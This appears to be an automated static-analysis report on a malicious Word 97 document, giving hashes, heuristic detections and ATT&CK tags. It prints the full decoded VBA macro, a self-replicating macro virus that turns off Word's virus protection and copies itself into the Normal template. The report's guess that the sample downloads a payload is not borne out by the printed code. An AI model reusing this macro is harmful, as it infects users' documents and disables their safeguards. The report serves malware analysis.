Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ea3ea3da18590b13…

MALICIOUS

Office (OLE)

27.0 KB Created: 1999-07-07 15:30:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ae56658c89d6319771733064abdf83cb SHA-1: 607c0e2d1786aa5b4ec320350ef3dd1f8c487539 SHA-256: ea3ea3da18590b133c78f8d4b25e44926debf4794d762c4049ee7d20a453941c
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro. This macro is designed to add code to the NormalTemplate, likely to establish persistence or download a secondary payload. The ClamAV detection and heuristic firings confirm its malicious nature. The VBA code itself is obfuscated but the presence of the Document_Open macro and the ClamAV signature indicate a downloader or trojan.

Heuristics 3

  • ClamAV: Doc.Trojan.Class-32 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-32
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1332 bytes
SHA-256: 6fbabab65165664e718fafabfac5458040a93bd75d512a1fb785ed2c75a02474
Detection
ClamAV: Doc.Trojan.Class-32
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()

On Error Resume Next
Dim day
Application.EnableCancelKey = 0

JA89 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines

UL66 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines

Options.SaveNormalPrompt = 0

Options.VirusProtection = 0

Options.ConfirmConversions = 0

If JA89 > 0 And UL66 > 0 Then GoTo NL19

If JA89 = 0 Then

Set TK61 = ActiveDocument.VBProject.VBComponents.Item(1)

HB13 = True

End If

If UL66 = 0 Then

Set TK61 = NormalTemplate.VBProject.VBComponents.Item(1)

LG92 = True

End If

If LG92 <> True And HB13 <> True Then GoTo NL19

If LG92 = True Then TK61.CodeModule.AddFromString ("Sub Document_Close()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, JA89 - 1))

If HB13 = True Then TK61.CodeModule.AddFromString ("Sub Document_Open()" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, UL66 - 1))

NL19:

day = Now()
 If day = WeekDay(Now()) Then
    MsgBox "Please update Word97"
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.